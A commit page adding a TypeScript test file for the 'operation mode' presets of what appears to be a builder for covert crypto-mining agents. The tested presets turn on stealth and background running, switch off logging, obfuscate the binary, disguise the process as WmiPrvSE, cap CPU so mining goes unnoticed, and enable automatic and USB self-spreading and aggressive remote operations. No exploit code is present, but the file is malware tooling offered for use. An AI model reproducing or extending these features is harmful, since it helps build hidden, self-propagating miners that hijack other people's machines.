feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
113
server/web/src/help/forgeOperationModes.test.ts
Normal file
113
server/web/src/help/forgeOperationModes.test.ts
Normal file
@@ -0,0 +1,113 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
OPERATION_MODES,
|
||||
DEFAULT_OPERATION_MODE,
|
||||
applyOperationMode,
|
||||
isOperationModeId,
|
||||
resolveForgeSkin,
|
||||
skinForOperationMode,
|
||||
} from './forgeOperationModes';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.1:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'test',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
stealth_mode: false,
|
||||
display_mode: 'visible',
|
||||
file_logging: true,
|
||||
obfuscate: false,
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('forgeOperationModes', () => {
|
||||
it('exposes six colored aether-themed presets', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(6);
|
||||
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
|
||||
'Ghost Walk',
|
||||
'Open Flame',
|
||||
'Sigil Mask',
|
||||
'Hearth Whisper',
|
||||
'Wildfire',
|
||||
'Crucible Storm',
|
||||
]);
|
||||
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
|
||||
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
|
||||
});
|
||||
|
||||
it('maps each operation mode to a forge skin', () => {
|
||||
expect(OPERATION_MODES.map((m) => m.skin)).toEqual([
|
||||
'ghost',
|
||||
'aether',
|
||||
'halloween',
|
||||
'aether',
|
||||
'wildfire',
|
||||
'crucible',
|
||||
]);
|
||||
expect(skinForOperationMode('wildfire')).toBe('wildfire');
|
||||
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
|
||||
});
|
||||
|
||||
it('resolves skin from operation mode unless theme override is set', () => {
|
||||
expect(resolveForgeSkin('ghost_walk', 'auto')).toBe('ghost');
|
||||
expect(resolveForgeSkin('wildfire', 'auto')).toBe('wildfire');
|
||||
expect(resolveForgeSkin('ghost_walk', 'halloween')).toBe('halloween');
|
||||
expect(resolveForgeSkin('crucible_storm', 'ghost')).toBe('ghost');
|
||||
});
|
||||
|
||||
it('validates stored mode ids', () => {
|
||||
expect(isOperationModeId('ghost_walk')).toBe(true);
|
||||
expect(isOperationModeId('bogus')).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Ghost Walk stealth + garble defaults', () => {
|
||||
const next = applyOperationMode(baseForm(), 'ghost_walk');
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
expect(next.display_mode).toBe('background');
|
||||
expect(next.file_logging).toBe(false);
|
||||
expect(next.obfuscate).toBe(true);
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Open Flame visible testing profile', () => {
|
||||
const next = applyOperationMode(baseForm(), 'open_flame');
|
||||
expect(next.stealth_mode).toBe(false);
|
||||
expect(next.display_mode).toBe('visible');
|
||||
expect(next.file_logging).toBe(true);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Sigil Mask obfuscation + disguised process', () => {
|
||||
const next = applyOperationMode(baseForm(), 'sigil_mask');
|
||||
expect(next.obfuscate).toBe(true);
|
||||
expect(next.sigil_scramble).toBe(true);
|
||||
expect(next.process_name).toBe('WmiPrvSE');
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Hearth Whisper idle low-footprint caps', () => {
|
||||
const next = applyOperationMode(baseForm(), 'hearth_whisper');
|
||||
expect(next.mining_mode).toBe('idle');
|
||||
expect(next.max_cpu_usage_pct).toBe(45);
|
||||
expect(next.thread_percent).toBe(50);
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('applies Wildfire spread-ready flags', () => {
|
||||
const next = applyOperationMode(baseForm(), 'wildfire');
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.usb_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('applies Crucible Storm aggressive remote ops', () => {
|
||||
const next = applyOperationMode(baseForm(), 'crucible_storm');
|
||||
expect(next.remote_aggressive).toBe(true);
|
||||
expect(next.hole_punch).toBe(true);
|
||||
expect(next.mesh_p2p).toBe(true);
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user